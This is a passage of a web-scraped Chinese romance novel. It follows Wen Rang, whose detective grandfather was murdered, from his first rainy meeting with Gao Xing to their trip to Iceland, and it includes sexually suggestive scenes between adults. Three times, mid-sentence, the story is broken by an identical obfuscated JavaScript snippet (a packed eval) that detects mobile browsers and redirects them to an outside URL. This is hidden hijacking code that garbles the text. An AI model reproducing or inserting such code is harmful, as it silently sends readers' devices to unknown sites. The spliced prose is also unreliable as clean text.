“我也听说那件事了,不过我爸妈说这种事就跟中彩票一样落不到我们普通人头上,他们心大得很,压根不管我的死活,天天打麻将,凶手就算到了他们麻将馆,我妈也只会关心什么时候和牌。” “笑死人了,不过我看报纸上说,那个老刑警被杀的时候,家里还有个小孙子,跟我们差不多大。” “天,那小孙子没事吧?” “据说歹徒不知道,不然估计也没命了。” “真是个畜生啊……” “报纸还说是那个小孙子报的警呢,你知道吗,那可怜的刑警爷爷被分尸在自己田地里了。” “什么?!那他的孙子如果报警……难道都看见了?” “对啊,太惨了。” 高幸耳朵听着,眼睛却在帮他们放哨,班主任的眼镜在教室惨白灯光的照射下,有些反光,但高幸还是一眼看出他正观察他们的区域。 高幸用手肘撞了同桌一下,同桌反应过来,立马开始大声朗读。 今天放学,高幸发现校门口果然来了不少家长,找了半天,没看到高城跟何柔的身影,她背着书包,乖乖去公交站等着,她运气好,赶上了第一班回去的公交。 车上也有不少人在聊那件凶杀案,高幸听得心惊胆战的,下车回去要穿过一条小路,她攥紧书包带,三步一回头,生怕被人跟着。 “果果。” 突然有人叫她,高幸吓了一激灵。 何柔提起她的书包,“你怎么回事?一惊一乍的。” 高幸总算松了口气,“妈,今天好多人在说市里面刑警被杀害的事。” “你少听点这些,不怕做噩梦吗?” “怕……” 何柔拉住她的手,“那你今晚还睡得着吗?你爸又加班,你跟我睡吧。” “没事的。”高幸说道,“只是听别人讲,不会害怕,我是觉得那个刑警的小孙子很可怜,他才是最应该害怕的。” “这世道就是这样,很多好人活不长。”何柔说道,“习惯就好。” “那个小孙子还跟我差不多大,应该也是上初中,可是却要经历这样的事。”高幸瘪了瘪嘴,“突然觉得自己已经很幸运了。” “你知道就好,所以你要珍惜这样的生活。”何柔说,“那个老刑警是温家人,温家现在这一辈在江城就没干过什么好事儿,可惜报应却落到好人头上。” “温家?”高幸第一次听何柔说起这样的事。 “就是江城最有钱的那家人。” “噢……”高幸对“有钱”没什么概念,毕竟她认识的最有钱的就是楼下卖粉面早餐的那对夫妻,卖了十年早餐,已经在县里面开了三家分店了。 “过好自己的日子就行了。”路过理发店,何柔和里面的老板打了声招呼,带着高幸拐了个弯回家,“那样的家庭,我们一辈子也接触不到。” “他们都做了哪些坏事啊?” “小孩子不用知道这些,说了你也不懂。” “你说嘛,我想听。” “欺负老实人,压榨普通人,为了挣钱不折手段,听说家里的关系也一团乱。” 温家十宗罪。 温霖占了七宗。 他在温家祠堂闭门思过了半个月,只吃素,不沾荤腥,以为这样能消减对父亲的愧疚。 华悦跟个局外人一样冷眼旁观,结婚多年,她再清楚温霖不过,哪是在忏悔,分明是在祈祷祖宗保佑他不要被寻仇,落得跟他父亲一个下场。 而温善,温家唯一一个正常人,却遭遇了这无妄之灾。 华悦的直觉向来很准,温善的死恐怕还有诸多隐情,她拨了个电话,“老黄。” “华总。” “到哪儿了?” “我刚接到少爷,回温家大概40分钟的车程。” 华悦食指的美甲在和温霖争执的时候折断了,她琢磨着待会儿去修理一番,“嗯,人带回来你先帮忙看着,我晚上再回来。” “好的华总。”司机老黄看了眼后座沉默的少年,压低声音道,“华总,少爷受了很大刺激,等他回来,先让他休息休息吧。” “他的房间还没收拾。”华悦说,“李婶儿有事回家了,他要休息的话,就自己收拾吧。” “好的……” “哦对了,你帮我旁敲侧击问一下他爷爷的死到底是怎么回事。” “华总,这不太合适,少爷他——” “别废话,照做。” 老黄咬牙应了,“行。” 华悦挂断电话,和朋友一块儿约了美甲,拎着包出门了。 豪车在高速公路上急速行驶,温让瘦削的身子缩在后座角落,自从爷爷死后,奶奶也被送进精神病院,这些天他都是被好心警察收留,但他们太忙,没多少时间照顾他,所以头发长到遮眼也没人带他去剪。 他低垂着头,脖颈弯曲成孤独的弧度。 老黄看着前方的路标,直行可达江城,往右会从一个县城穿过去,有些绕路,他琢磨着温让的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163205|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态,忽然不想让他那么快地回到温家。 开启转向灯,老黄擅自做了决定。 进入到县城区域,原本阴云密布的天空下起了暴雨,雨势甚大,车窗的雨刮器不停摆动。 行人似乎也没预料到这场突如其来的大雨,纷纷疾跑到檐下躲雨。 老黄看了下手表,这会儿正好是下班放学的时间,县城路窄,难免拥堵。 到了十字路口,更是拥堵的重灾区。 交警在雨中指挥着,周围喇叭声穿过雨声,催得人心烦。 温让抬起头,安安静静地望着窗外。车窗被雨水冲刷,外面的世界模糊不清。 忽然,一道纤细的身影闯入他的世界。 那是个在冬雨中骑行的女孩,浑身上下都被淋透了,高耸的马尾被雨水浇成一缕。 骑到路边时,自行车的链条猛地滑落,女孩本就狼狈,低头一看这松松垮垮的车链,她似乎也有些崩溃了,下车后,叉着腰,狠狠地跺了下脚,嘴里不知在嘀咕什么,估计不是好话。 女孩力气挺大,把自行车翻转过来,蹲下/身子,左手提起链条,右手握住脚踏,一边转动着脚踏,一边调整链条位置。 雨还是这样大,十字路口还是这般吵闹。 女孩蹲在路边的安全停靠区域,耐心地修着车。 “小让,你把车窗升上去吧,你看你胳膊都被外面落进来的雨淋湿了。”老黄有些心疼地提醒道。 温让却纹丝不动,紧盯着不远处那道身影。 终于,在女孩的不断调整下,松掉的链条重归原位,她的手因为摸了链条变得很黑,高幸摊开掌心,接住漫天的雨,随意地搓了搓手心的脏污,然后把自行车回正,跨上去。 她的荷包很浅,蹲着的时候,一个小东西滚了出来。 见女孩没注意,温让猛地打开车门,快步过去,捡起地上掉落的东西。 那是一颗橙色包装的硬糖。 “同学。”温让叫住她。 女孩回过头,即使隔着苍茫的雨幕,他也能看清那双明亮的眼。 温让走过去,摊开手,“你的糖掉了。” 高幸展颜一笑,少女青涩纯真的脸庞像雨中的向日葵,“谢谢,这颗糖你吃吧,如果你不介意它掉在了地上的话。” 温让脸上没什么表情,收回手,淡淡道,“好,谢谢。” 女孩一脚蹬上自行车,不顾肆虐的风雨,单手握住车把,另一条胳膊朝他晃了晃,挥手道别,嗓音清脆地回荡在他耳边。 “吃了橘子糖,祝你生活甜蜜,开开心心。” 少年怔愣在原地,一动不动地盯着她前行的背影。 头顶的雨停了。 司机黄叔撑过来一把伞。 “小让,那是你朋友吗?”黄叔轻轻揽过他的肩膀,“外面冷,容易着凉,我们上车吧。” “她不怕暴雨。” 这是老黄听到温让说的第一句话。 “她也不怕自行车掉链子。”温让把橘子糖握在掌心。 老黄不知道他们是什么关系,想了想,还是回应了他,“那是个坚强的女孩。” 少年眸光闪动,多了几分清明,“黄叔,我们回温家吧。” “好。” 十五年那场雨,淋湿了两颗同频跳动的灵魂。 十五年后,一颗坠落之际。 有人拉住了她。 女孩不知道的是,她曾在暗淡处追逐的发光的小星球,早在十五年里被一场接一场的风雨浇熄。 于是,他成为了那颗小而坚硬的,橘子糖。 32. 共枕眠 ^ 「共枕眠」 今晚的酒店订在了冰河湖附近,Charles开车送他们过去的。 临别前,Charles还传给了他俩一张照片。 正是他们靠在冰壁上的接吻照。 高幸的脸霎那间红了。 Charles大笑着拍了拍两人的肩膀,“这是我拍过最满意的情侣照,祝你们幸福。” “谢了。”温让跟他简单道别,拎起两人的行李进了酒店。 依然是分开的两间房。 高幸冲了个热水澡,换上舒适的棉质睡衣,坐在床上又翻了一遍CCD的照片。 脑子里面全是温让今天说的话。 被父母病态控制。 厌恶很多人。 休学。 还有他在回来的路上所说的,十五年前他被接回温家,两人初遇的那个暴雨天。 如果把这些线索都串起来,高幸大概能明白温让这些年都经历过什么,顺藤摸瓜地找到他患上心理疾病的源头。 筒子楼重逢,他的手臂打了石膏。 到现在,他的手臂还是有着深深浅浅的伤痕。 温让当初说是因为不小心摔下楼。 结合他的家庭环境,高幸觉得没那么简单。 他还隐瞒了许多事。 那些陈旧的伤疤,她不愿意去揭开,可是…… 被一股莫名的压抑情绪裹挟,高幸回过神来,已经站在了温让的房门外。 抬起的手犹豫着敲响第一声。 只一声,门就开了。 温让也刚洗过澡,穿着简单的T恤长裤,头发还湿着,毛巾搭在肩膀上,一双眼睛被浴室的热汽蒸得透亮。 他拉过高幸的手,把她带进来,“睡不着?” 高幸摸了摸他还在滴水的发梢,“我帮你吹头发吧。” “好。” 浴室的水汽还没彻底消散,她闻到温让随身携带的沐浴露的香味,和他惯用的香水一样,是很舒服干净的橙子调。 高幸踮起脚,忍不住嗔怪道:“你太高了,低下来一点儿。” 温让勾起唇角,扯过干燥的毛巾,垫在台子上,双手握住她的腰,轻而易举将她抬起来坐上洗漱台。 “现在可以了。” 温让的胳膊撑在她的身侧,身子伏低,再近一点,就能吻上她的锁骨。 或许浴室太热,或许是吹风机的温度太高,高幸的脸烧得通红。 而温让始终保持这样的距离,呼吸落进她微微敞开的衣领,比电吹风制造的气流更热,更烫。 高幸把他的头发吹得又蓬松又凌乱,完全没了平时的正经劲儿,这样的他,足够放松,足够真实。 莫名让她感到安心。 噪声掩藏了她狂乱的心跳,她的指尖穿过他柔软的发,一遍又一遍。 直到声音停止,浴室陷入暧昧的寂静。 温让慢慢抬起头,唇角擦过她睡衣的领口。 男人站直后,比她稍稍高些,呼吸交缠着,高幸先闭上了眼。 然而预料中的吻并没有落下,温让的指尖抚过她没有戴手表的左腕,温柔地抬起来。 吻在了她手腕的伤疤上。 高幸的身子猛地颤抖了一下,下意识想缩回手,却被男人攥住,轻柔啄吻。 “温让……”她控制不住地唤他,伤疤明明早就不疼了,泪水却不由得在眼里打转。 男人带着她的胳膊绕到自己脖子后,“抱住我。”他说。 被腾空抱起时,她的腿也顺势勾上男人精瘦却有劲的腰。 其实在敲响房门那刻,她就做好了准备,他们是情侣,亲密举动也都是水到渠成。 可是温让并没有进行下一步动作,他只是抱着她来到沙发上,让她靠坐在自己怀里,拿过桌子上的一本厚厚的相册。 与其说是相册,不如说是回忆录,封面已经很旧了,卷起毛边。 扉页是三排规规整整的硬笔字,笔力苍劲,出锋凌厉,回锋却和润了许多。 「温让,爷爷奶奶希望你无论遇到什么,都不要忘记做一个好人,永远不要向坏人低头。」 “这是我爷爷在我出生那年送的,每一年,他们都会把我的照片放进去。”温让翻开第一页,三张生日照,旁边还有一些蓝黑墨水写出来的小字,都是爷爷奶奶对他的期望。 高幸捧着厚厚的相册,放到腿上,一张张仔细翻看,哪怕是角落里的字,都不会错过。 “你小时候果然是小木头。”高幸笑道,“拍照都没有表情的。” 温让搂着她,“是啊。” “这一张笑了。”高幸指着一张他荡秋千的照片说。 “那是爷爷给我做的秋千。”温让说,“那个小老虎帽子是我奶奶织的,那天我很高兴。” “真好。” “这是在哪儿?在放风筝吗?” “对,不过后来,我把线剪断了,我想让它自由。”温让回想着,“但是奶奶教育我说这样会污染环境,因为不知道断了线的风筝会落到什么地方去。” “所以这是一次自由主义和现实主义的碰撞。”高幸说。 “没错。” 翻到温让十二岁那年,相册就空白了,只有一张夹在中间的,橙色糖纸。 “这是……”高幸反应过来,“当年那颗糖。” “嗯,也是一颗药。” 她继续翻,时间来到他的初中三年,只有一张初中毕业的班级合照,旁边什么也没写。 然后是高一,一张像素很低的教学楼楼道照片,下面写了六个字:好久不见,果果。 高幸震惊地抬起头,“你早就知道我的小名?” 温让拨开她脸颊边的长发,“嗯,一直都知道。” 一张她在高一文艺汇演时的古典舞演出照。 高幸记得那次演出,每个班都要出节目,她们班是舞蹈串烧,她有三十秒的独舞。 「第一次看高幸的舞蹈,真美,希望她可以永远这样美好」 高幸凝视着照片旁边的字,久久不言。 “那次演出后,你高中就没有再表演了。”温让说,“我当时想过,你是不是受伤了,但是看你走路什么的都很正常。” “没受伤。”高幸说,“因为那次跳了舞,很多人跑来要我的联系方式,我觉得很烦,就没再参加活动了。” 温让点点头,“难怪,再后来看你表演就是大学了。” 高幸又往后翻了翻,果然,出现在沈奕岚CCD里面的照片都是真的。 他的确没有错过她的每一次舞台,无论是街头路演,还是正规的比赛,他都用相机记录下来了。 但是旁边的备注,却让她意外。 「她膝盖受伤了。」 「手肘有摩擦的伤口。」 「手掌贴了创可贴。」 「后背好像贴了膏药。」 “我知道你练舞辛苦,很容易受伤……” “所以后来,莫队给的那些处理伤口的东西,都是你让他转交的?”当时高幸还很惊讶,因为莫听山压根儿不是这种细腻的性子,他说是转交,高幸以为是某个暗恋者。 她从来没想过那个暗恋者会是温让。 “是。”温让说,“但是你在和他组队前,我没有立场去关心你,所以……我只能看着。” 看着她为了自己热爱的事,拼尽全力,挥洒汗水,伤痕累累。 他一边为她骄傲,一边替她痛苦。 后来她和莫听山组成市里面实力最强劲的高校街舞队,他终于可以以莫听山的名义,为她做一点事。 “温让,为什么?” 明明是彼此相爱的两个人,却平白无故错过这么多年。 “当时的我,还没办法来到你的身边。”温让的手指摩挲着她的腕间,触目惊心的伤疤让他疼痛,“我还没有能力脱离温家,我们在一起,你会受更多的伤。” 如果那时候他靠近了她,只会带给她麻烦。 她那么明媚,要一直明媚,不可以因为自己而灰暗。 可是他没想到,毕业后失散的这些年,她过得这般艰难。 时间来到大学毕业的那一年,相册横了过来,高幸看着上面那张醒目的班级大合照,“你怎么会有我们班的合照?” “当时找人问了你们班的同学,然后花钱买下来的。” 合照下面写满了他对她的祝福,这是温让写的最多的一段话。 那些在五年前没办法说给她听的话,终于在此时此刻,走进了她的眼里。 高幸鼻子泛酸。 原来她从来没有一厢情愿。 她的暗恋早在很多年前就有了回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163206|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音。 再往后翻,相册就没了下文。 她红着眼看向将她搂在怀里的男人,“毕业后,我去过京市,后来又去了申城,因为工作忙,双相障碍还加重了,所以跟室友她们也渐渐没了联系。” “我尝试了去找你。” “你找到了吗?” “嗯,找到了。”温让回忆着三年前那个周五的傍晚,“你和一个瘦瘦的男同事一块儿去吃铜炉火锅,你们看上去……很开心。” 他们坐在窗边,有说有笑,温让在街对面看了许久,久到暮色四合,街灯亮起,久到他们一同上了车,然后驱车离开。 “男同事?”高幸很疑惑,“我从来没跟男同事单独吃过火锅啊。” 忽然,她脑海中闪过一个女生的模样,“噢,你说的应该是阿迷,她是女生,只不过打扮中性,很容易被当成男生。” 温让哑然失笑,“原来如此,我还以为……” “你以为我有男朋友了?” “嗯。”温让不好意思地把头埋进她的颈窝,“而且我当时状态太差了,我得努力让自己好起来,才能走到你身边。” “我当时的状态也好不到哪儿去,只是在朋友或者同事面前不会表现出来罢了。”高幸捧起他的脸,亲了亲他的唇,“还好,现在在一起,也不晚。” 温让安静注视着她,她说不晚,可他依然觉得有些晚了。 这么多天来,他总是做一个噩梦。 如果那天夜里他没来得及拉住高幸,会怎么样? 他应该再努力些,再早些,去到她身边。 似乎是察觉到了温让的眼神变化,高幸直起身子,跨坐在他腿上,“不许胡思乱想,不要去假设没发生过的事。” 温让无奈地笑了笑,“现在连我心里在想什么都一清二楚了?” “那是自然。” “那果果女士猜一猜,我接下来想做什么?” 温让的双手箍住她的腰,大腿往上掂了下,高幸扶住他的肩膀。 “你想……唔。” 未完的字音被深吻堵住。 温让一边亲,一边抱着她到了床上,两人的嘴唇微微湿润着,还有些红肿。 温让克制地扯过被子把她塞进去,“睡觉。” 高幸被裹得严实,手指扒着被子,露出双疑惑又迷离的眼睛,“你不进来吗?” 说完,她掀开被子。 温让顺从地躺进去,躺得笔直,双手交叠放在小腹上,仿佛刚才吻得热情似火的不是他。 这才高幸怀疑自己了,她低头看了眼睡衣,难道太朴素了?接着她又掀起睡衣下摆,瞅了瞅没有一丝赘肉的腰以及马甲线。 还行啊? 高幸又扯开衣领,胸是小了点儿。 练舞毕竟是有氧运动…… 温让注意到身旁的动静,更加无奈了,“阿幸,你在干什么?” 高幸侧过身子,往他身边挪了挪,温让没动,她又贴近了些,然后一把抱住他温热的胳膊。 “温让,我马上二十七了。” 温让依然纹丝不动,“乖乖睡觉。” “我这么没吸引力吗?”高幸叹了口气,松开了温让的胳膊。 男人忽然按住她的手腕,倾身上去,重重地吻住她。 房间的灯被关掉,只余下一盏昏暗的床头灯。 微弱的光线让感官更敏感,耳边全是唇舌搅动的水声,难耐的喘息。 呼吸的节奏被指尖引导。 “想清楚了?” “嗯……” 高幸咬着嘴唇适应。 大拇指撬开她的唇,抵在齿间,“阿幸,睁开眼,看着我。” 她的眼皮在轻轻颤动,吃力地撑开,垂着目光往下看。 一滴汗落在她的睫毛上,又无辜滑走。 她很热,但温让似乎更热。 他忍得难受,额头上青筋凸显,喉结性感地滚动着。 高幸鬼迷心窍地凑上去,轻咬了一下他的喉结。 温让猝不及防,绷紧的肌肉骤然松懈下来,喘着气倒在高幸身上。 高幸愣住了。 她的脑子还没转过弯,膝弯又被抬了起来。 温让没有做任何解释,沉默着吻去她锁骨的汗。 然后用整夜的时间,证明了自己。 33. 雷市日暮 Blue 「雷市日暮」 高幸是在温让怀里醒来的,整个人都被他从身后包围住,耳边传来平缓的呼吸声,被窝里是相同的沐浴露香味,心神安宁。 她看了下手机,屏幕显示现在已经是中午12点,气温零下十三度。 温让提前订好了回雷市的车,待会儿就过来接他们,不用着急赶路。 高幸伸长了胳膊,想给手机充会儿电,手腕却被人握住,重新塞回了温暖的被窝里。 “你醒啦?”高幸转过身,搂住温让的腰,脸埋进他赤/裸的胸膛蹭了蹭。 温让的下巴抵着她的发顶,手掌缓缓下移,停在她的腰窝处,“还酸不酸?” “不酸。”高幸说,“我体力很好的。” “嗯,看出来了。”温让低低一笑,“再躺会儿,下去吃点东西,我们就回雷克雅未克。” “好。” 吃完午饭,约好的车已经在酒店门口等着了,Charles又来接下一批游客,刚好和他们遇见。 听说他们要回雷克雅未克,Charles热心地推荐了旅行路线,温让一一记下来。 在他们上车前,Charles还塞给了他们一人一个冰岛特色的小羊胸针,行了个并不标准的王子礼,说道:“以后可能很难见面了,祝你们一切顺利。” “谢谢你,Charles。”高幸把草绿色的胸针别在衣服上,“也祝你未来顺利。” 温让记了他的地址,说是回中国后,会给他寄礼物,Charles高兴坏了,送走他们后,还跑去跟伙伴们炫耀自己的交的新朋友。 回去的车程总是感觉比来时更短。抵达雷克雅未克,还没到四点钟。 两人放好行李,准备出门走走。 温让打开地图,按照Charles说的Citywalk路线开始搜索第一个目的地,哈尔格林姆教堂。 都说旅行是最能检验契合度的方式。 高幸之前也和朋友出去旅行过,她是个很随意的性子,如果有人做计划,她就负责听从,没人做计划,她就负责带领,吃喝玩乐都不挑,怎么样都行,所以她在旅行中很难与人发生争执。 但大学毕业旅行那次,有两个室友确实因为旅行习惯不同而闹掰了,据高幸了解,她俩彼此的婚礼都没邀请对方。 这次旅行,她发现温让也是这样随性。 如果没有在计划的时间赶到目的地,或者要去的地方临时关门了,两个人都没有任何情绪波动,迅速接受现实,然后换种游玩方式。 比如现在,他们来到了哈尔格林姆大教堂,被告知塔楼已经进不去了。 “没关系,就在外面参观下也很好。”高幸说完,温让也点了点头。 “正好蓝调时刻到了。”温让说,“我们可以慢慢走去彩虹街。” 大教堂外形呈管风琴状,错落有致,简单庄严,太阳下山后,雷市笼罩在一片温柔的蓝色中,一钩浅淡弯月挂在教堂尖顶旁,点缀着蓝调幕布。 就在教堂不远处,放置着几个秋千架。 高幸坐在秋千上,两条腿有些紧张地翘起来,温让站在她身后,笑着问她准备好了没。 她许久没荡过秋千,把两边的绳索攥得紧紧的,“来吧。” 温让没怎么使劲,荡起来的幅度并不大,“怎么样?要加大力度吗?” “可以再刺激点儿。” “好嘞。” 温让两只手扶住秋千绳索,用力一推,然后迅速退到旁边,失重感让高幸大脑空白,笑声却没有停止过。 “wow!” 又是一个大力的助推,高幸觉得自己快要和天空平行,整个世界都随着秋千一同晃动起来。 温让的嘴角也不自觉地扬起。 他想起了二十年前,在江城市郊度过的那些日夜。 温善给他做秋千的时候,正好是一个初夏,院子里不冷不热,傍晚的风还有些凉爽。他蹲在工具箱旁边,一会儿给爷爷递木头,一会儿递锤子。 爷孙俩话都不多,奶奶王嫣端着切好的果盘走过来,坐在石凳上,边看他们做秋千,边给他们喂水果,时不时唠几句从隔壁牌搭子那儿听来的八卦,谁谁家的小女儿闹着要分家,不和老人住了,谁谁家又添了个大胖孙子,要摆三天三夜的流水席。 温善是一个每天准点收看早间、午间、以及晚间新闻的人,压根儿不关注这些家长里短的事,但王嫣每每跟他说起,他总是很认真地倾听,从来没有敷衍过。 秋千做好了,王嫣的八卦也说得差不多了。 温善先坐上去,确保结实后,才把位置腾给温让。 王嫣拿毛巾给温善擦汗,温让已经在秋千上玩得不亦乐乎,老俩口就这样并肩站着,笑眯眯地看温让荡秋千。 温让记得,那是个晚霞格外绚烂的傍晚,晚风吹来了荷塘里的莲叶清香。 秋千荡得很高很高,高到让他以为自己马上就要飞出这方安逸的小院,高到他能瞧见爷爷奶奶长满银丝的发顶。 他听见老人家的笑声,和晚风一样温柔,让他安心。 “温让?温让?” 在呼唤声中,他恍惚回神。 面前不是幼年时候的小院,爷爷奶奶的身影也淡去。 他的目光所及之处是北欧极简主义的教堂以及坐在秋千上,仰着一双明亮的眼,注视着他的恋人。 “你怎么啦?” “没事。”温让揉揉她帽子上的小圆球,“继续?” “不了。”高幸从秋千上下来,“我推你吧,你坐上去。” 温让没动,“我就不玩了。” 高幸从他刚才出神就差不多知道他在想什么了,这会儿也没勉强,挽上他的胳膊,问道:“你是不是想爷爷奶奶了?” 温让笑了笑,眼神悲哀又苦涩,“是有点儿。” “你老家的秋千还在吗?” “东西应该都还在,但是院子被我爸他们封锁了。” 高幸若有所思。 “没事,不影响,不用担心我。” 温让越这样说,高幸越是心疼。 他今天穿着黑色的羽绒外套,高幸一看上面的logo就知道他的这件外套已经穿了起码七年以上。 因为她曾在本科时期见到他穿同样的外套。 他旅行用的双肩包和行李箱磨损痕迹严重,按照他平日里爱护物品的性子,没有较长的年限,东西一般不会磨损。 温让缺钱吗?显然不会。 抛开他殷实的家底不说,单靠他读书期间收获的荣誉,以及漂亮的学术成绩和研究成果,他都不会缺钱。 只是因为温让念旧,物欲也低。 这样一个人,没被回忆彻底困死已经算是幸运。 “温让,等我们回国,再重新做一把秋千,好不好?” 高幸知道,这话一旦说出口,就是承诺。 果不其然,温让听后,讶异中带着些期待,“当然可以。” 走着走着,灰白街道渐渐被彩虹色占据,四周的店铺墙和地砖都有着不同风格的涂鸦,给这冷淡的北欧注入了不少趣味,古怪得可爱。 耳边是恋人絮絮叨叨的声音。 “我发现我好像血脉觉醒了,就想要个院子种种花草什么的,然后再收养几只小猫小狗,窗外要种一棵樱花树,三四月份就能坐在窗边赏樱,可惜樱花的花期太短了……其他的树种也行。门外要有一条宽敞大道,我们可以玩长板,温让,你会玩吗?” “不会,小高老师要教我吗?” “必须的。” “手把手教?” “当然,你学起来肯定快。” “学会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167142|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了有奖励吗?” “你想要什么奖励?” 温让倾身过去,附在她耳边嘀咕几句,高幸满脸通红,捏了捏温让的胳膊,“小温同学思想不纯洁!罚你一个小时内不许亲我。” “遵命。” 彩虹街上的小店都很好逛,高幸一扎进去就出不来,好在温让是个极其有耐心的男朋友,一直跟在她旁边帮忙挑选小礼物。 “这个项链、帽子和小羊冰箱贴都给唐冉好了。”高幸一看挂在旁边的钥匙扣也很可爱,犯了难,“温让,你说冰箱贴和钥匙扣选哪个呢?” 温让都装进购物篮里,“可以一起买了,如果她不喜欢,就给我。” 高幸笑了笑,拎起一串火山石手链,“这个不是很好看,但是冰岛的特色。” “可以买,这个挺有纪念意义的。”温让说完,指了指旁边的羊毛手工皂,“这个也可以多买几个,小东西不会占地方,方便带回去。” “好。” 结完账,他们又逛了几家店。 “羊毛袜可以给我妈买几双。”高幸说完,目光在温让裤腿梭巡。 温让也在挑选给高幸父母的礼物,没留意她的眼神,突然,裤脚被拽起来了,他下意识躲了一下,“诶,怎么了?” 高幸心里有数,又往篮子里丢了几双男士的羊毛袜,“没事。” 温让忽然想逗她,“你确定袜子大小拿对了?” “我的火眼金睛不会错的。” “嗯?”温让挑眉一笑,“那刚才去便利店里,某人怎么拿了个大号的就跑。” “温让!”高幸脸又红透了,压低了声音,咬牙切齿,“三个小时不许亲我了!” 她又没买过,怎么知道这玩意儿还有加大号。 丢死人了。 温让迅速滑跪,又是道歉又是哄的,高幸根本招架不住。 “这一篮子给关容清。”高幸心满意足地看着购物篮里精挑细选的伴手礼,“她是我发小,我俩穿开裆裤长大的关系,都是20多年朋友了,回国介绍你俩认识。” “好。”温让见她准备结账,便问道,“阿幸,你想要什么?” 他这么一问,高幸反应过来,“对哦,我们也应该给对方买礼物。” 两人在店里又搜罗了一圈,最后同时注意到收银台附近的木架,上面放了不少手绘的明信片。 “你觉得明信片从冰岛寄回中国的成功率有多高?”高幸问道。 “不好说,以防万一,我们可以自己带回国,然后再交换。” “行。” 他们不约而同地选择了交换明信片作为给彼此的礼物。 店员指了指旁边的写字台,“那边有笔。” “谢谢。” 两人各站一侧,生怕被对方偷看。 “小高,写挺久啊。” “我话多嘛。”高幸狐疑地看了男人一眼,他正轻轻甩动着明信片,让它风干,“你这就写完了?” 温让笑而不语。 写完后,店员问他们是否要邮票,旁边就有邮筒,可以寄回去。 原本商量好的两人又沉默了。 “温让,我们要不要赌一把。” “正有此意。” 几分钟后,他们忐忑地把明信片投进邮筒。 Bluehour临近结束,天空中的蓝色也暗沉下来。 “店员说,寄到中国可能得三四个月。” “没关系。”温让牵起她的手,“我俩应该已经习惯等待了。” 三个小时,三个月,三年,又或者十年。 真正的爱从来不会被时间淡忘。 “如果寄丢了呢?” “寄丢了……那我就把写在明信片上的话,背给你听。” 蓝调过后,他们向着夜色,朝托宁湖走去。 34. 诸神黄昏 ?etta 「诸神黄昏」 浴室雾气氤氲,冰凉的墙沾染了人的体温,水珠混着汗珠滑向堆积着泡沫的地面。 绷直的脚尖颤抖着,似乎下一秒就要脱力。 高幸攀附着唯一的支撑点,醉倒在一次比一次深入的吻里。 她仰起头,靠在墙壁上,花洒的水柱那么细,却刺破她眼里所有的光。温热的水降落在她的眼睫、鼻头,湿透的双唇与全身。 一条胳膊从腰和墙壁的缝隙中穿过,加重一分力气,就让她与面前这具滚烫的身躯贴得更近。 耳垂被轻咬。 浴室灯晃得她晕晕乎乎,感官像是被水雾蒙住,除了温让压抑的低喘,什么也听不到。 男人抬手遮住她涣散双眸,再次吻上去。 “别这样……看我……” 黏黏糊糊的吻,断掉的句子。 欲望是一片沼泽地,理智被蚕食殆尽,一滴不剩。 揪紧被单的手指被人从后面按住,然后缓缓地,扣进指尖的缝隙。 床单洇出点点泪痕。 “难受?” 温让极力控制自己的声音,尾音却微微发颤。 高幸摇摇头,然后埋进松软的枕头里,又被温让用手掌托起下巴,吻她黏在侧脸汗湿的发,“乖,不要憋气。” “嗯……” 夜已深,浪潮却久久未平息。 他们在雷市待了四天,品尝了ReykjavikRoasters最有名的咖啡,去托宁湖投喂天鹅,看了一场湖边日落。氛围到了,很适合接吻,但大庭广众之下,两人都不好意思。于是趁着日头沉下去前,高幸飞快地亲吻了温让的脸颊。 漫步在冰岛大学,认识了几个本土大学生,学了几句冰岛语,高幸现学现卖,用冰岛语在校内买了一帆布包的纪念品,温让对她的语言天赋佩服得五体投地。 在冰岛大学生的推荐下,他们去海港附近的Harpa音乐厅听了一场经典交响乐,旁边坐了一对老年夫妻,结束后,对这场音乐会侃侃而谈,高幸和温让虽然听不懂他们在说什么,却不由得为这样携手白头的情谊而感动。 参观萨迦博物馆,了解了一段维京传奇,高幸想起本科时期读过的北欧神话,和温让随意地聊了聊北欧文学里面的生死意境,温让闲暇时候也会看书,看的基本都是天文地理类的书籍,纯文学类的知之甚少,但他不懂就问,两人还拟好了一份回国待看的文学书单。 温让的知识储备终于在珍珠楼和北极光中心有了用武之地,感受了触感真实的4D火山秀,滚烫的熔岩在脚下流淌。躺着观看极光球幕,北极光铺满视野,绚烂夺目。温让还顺道担任了野生讲解,好奇宝宝高女士的每个问题,他都能详细解答。 他们在城市闲逛,拍下公路尽头的海与雪山,在夜晚的冰岛酒吧小酌,和乐队狂欢。 